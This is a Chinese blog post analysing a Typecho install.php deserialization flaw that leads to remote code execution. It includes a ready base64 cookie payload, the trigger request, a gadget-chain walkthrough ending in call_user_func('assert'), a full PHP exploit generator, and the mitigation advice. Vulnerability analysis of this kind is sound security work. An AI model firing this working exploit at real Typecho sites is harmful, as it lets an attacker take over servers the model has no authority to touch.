前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Typecho前台Getshell漏洞分析

Typecho前台Getshell漏洞分析

作者头像
ly0n
发布2020-11-04 11:04:21
3.9K0
发布2020-11-04 11:04:21
举报
文章被收录于专栏:ly0n

漏洞介绍

Typecho是一个简单,轻巧的博客程序。基于PHP,使用多种数据库(Mysql,PostgreSQL,SQLite)储存数据。在GPL Version 2许可证下发行,是一个开源的程序,目前使用SVN来做版本管理。经过分析确认,该漏洞可以无限制执行代码,通过这种方式可以导致getshell。

漏洞复现

​ 打开安装好的Typecho

这是生成的phpinfo()的payload

代码语言:javascript
复制
__typecho_config=YTo3OntzOjQ6Imhvc3QiO3M6OToibG9jYWxob3N0IjtzOjQ6InVzZXIiO3M6NjoieHh4eHh4IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo0OiJwb3J0IjtzOjQ6IjMzMDYiO3M6ODoiZGF0YWJhc2UiO3M6NzoidHlwZWNobyI7czo3OiJhZGFwdGVyIjtPOjEyOiJUeXBlY2hvX0ZlZWQiOjM6e3M6MTk6IgBUeXBlY2hvX0ZlZWQAX3R5cGUiO3M6NzoiUlNTIDIuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6NTp7czo0OiJsaW5rIjtzOjE6IjEiO3M6NToidGl0bGUiO3M6MToiMiI7czo0OiJkYXRlIjtpOjE1MDc3MjAyOTg7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fXM6ODoiY2F0ZWdvcnkiO2E6MTp7aTowO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fX19fXM6MTA6ImRhdGVGb3JtYXQiO047fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9

设置相应的cookie并发送请求

代码语言:javascript
复制
http://localhost/html/install.php?finish

成功执行了phpinfo()

漏洞分析

漏洞的入口点在install.php,进入install.php首先经过两个判断

代码语言:javascript
复制
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
        exit;
    }
// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
    if (empty($_SERVER['HTTP_REFERER'])) {
        exit;
    }
    $parts = parse_url($_SERVER['HTTP_REFERER']);
	if (!empty($parts['port'])) {
        $parts['host'] = "{$parts['host']}:{$parts['port']}";
    }

    if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
        exit;
    }
}

只要GET传参为finish,并设置referer为本站即可。

跟进代码,找到漏洞入口点,在install.php的229-236行

代码语言:javascript
复制
<?php
					//
					if(!isset($_SESSION)) { die('no, you can\'t unserialize it without session QAQ');}
                    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
                    Typecho_Cookie::delete('__typecho_config');
                    $db = new Typecho_Db($config['adapter'], $config['prefix']);
                    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
                    Typecho_Db::set($db);
                    ?>

很明显的存在一个反序列化的漏洞,说到反序列化我们就可以想到几个魔法函数,__destract,__wakeup,__toString

代码语言:javascript
复制
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

魔法函数相关介绍

我们来分析一下代码,来看下这一句

代码语言:javascript
复制
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));

首先Typecho_Cookie通过get方式来获取__typecho_config ,get方式的构造

代码语言:javascript
复制
public static function get($key, $default = NULL)
    {
        $key = self::$_prefix . $key;
        $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
        return is_array($value) ? $default : $value;
    }

​ 可以看到给value赋值这一行,如果 _COOKIE里面没有就从

我们继续看install.php的下一句

代码语言:javascript
复制
$db = new Typecho_Db($config['adapter'], $config['prefix']);

我们可以看到它new了一个Db对象,我们跟进Db类的构造函数看一下

我们跟进Db下的Db.php,发现

代码语言:javascript
复制
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

这句代码将$adaptrName属性和字符串拼接在一起,会自动调用__toString魔法函数,所以我们只需要传入一个数组,让adapterName值为一个有__toString方法的类就行,我们可以通过全局搜索来查看一下__toString发现两个有点搞头的文件

代码语言:javascript
复制
Feed.php
Query.php

我们跟进一下Feed.php,查看一下__toString()方法290行

代码语言:javascript
复制
foreach ($this->_items as $item) {
                $content .= '<item>' . self::EOL;
                $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
                $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
                $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
                $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
                $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
                $item['category'] = array(new Typecho_Request());

我们来看一下这一段代码,看看这个代码的问题所在,首先item是 this->_items的foreach循环出来的,而且this->_item是当前类的一个私有属性,代码中又调用了

所以我觉得可以利用,当调用一个不可访问的属性时就会自动去调用魔法函数__get(),我们可以利用这个item来调用某个类的__get()方法,上面说过__get()方法是用于从不可访问的属性读取数据,实际的执行中,在此处会获取到该类的screenName属性,如果我们给 item'author'设置的类中没有screenName就会执行该类的__get()方法,接下来我们全局搜索下__get()方法.

发现Request.php文件中__get()方法如下:

代码语言:javascript
复制
public function __get($key)
    {
        return $this->get($key);
    }

然后跟进this->get(

代码语言:javascript
复制
public function get($key, $default = NULL)
    {
        switch (true) {
            case isset($this->_params[$key]):
                $value = $this->_params[$key];
                break;
            case isset(self::$_httpParams[$key]):
                $value = self::$_httpParams[$key];
                break;
            default:
                $value = $default;
                break;
        }

        $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
        return $this->_applyFilter($value);
    }

在最后一行发现调用了_applyFilter,跟进代码

代码语言:javascript
复制
private function _applyFilter($value)
    {
        if ($this->_filter) {
            foreach ($this->_filter as $filter) {
                $value = is_array($value) ? array_map($filter, $value) :
                call_user_func($filter, $value);
            }

            $this->_filter = array();
        }

在这个方法里面,我们看到foreach判断value是否为数组,如果是就执行array_map,如果不是就去调用call_user_func,这两个函数都是代码执行的关键,而这里的 filter和value都是可以间接控制的,所以我们就可以用array_map和call_user_func来执行代码,比如我们设置 filter为数组,第一组键值是assert,

下面写一下exp

代码语言:javascript
复制
<?php
class Typecho_Feed
{
        const RSS1 = 'RSS 1.0';
        const RSS2 = 'RSS 2.0';
        const ATOM1 = 'ATOM 1.0';
        const DATE_RFC822 = 'r';
        const DATE_W3CDTF = 'c';
        const EOL = "\n";
        private $_type;
        private $_items;

        public function __construct() {
                $this->_type = $this::RSS2;
                #$this->_type = $this::ATOM1;
                $this->_items[0] = array(
                        'category' => array(new Typecho_Request()),
                        'author' => new Typecho_Request(),
                );
        }
}
class Typecho_Request
{
        private $_params = array();
        private $_filter = array();

        public function __construct() {
                $this->_params['screenName'] = 'phpinfo()';
                $this->_filter[0] = 'assert';
        }
}

$exp = array(
        'adapter' => new Typecho_Feed(),
        'prefix'  => 'typecho_'
);

echo base64_encode(serialize($exp));
?>

漏洞防护

install.php文件删除 或者升级成最新版本

参考链接

https://paper.seebug.org/424/

https://www.jianshu.com/p/48ed2a286054

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-06-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞介绍
  • 漏洞复现
  • 漏洞分析
  • 漏洞防护
  • 参考链接
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档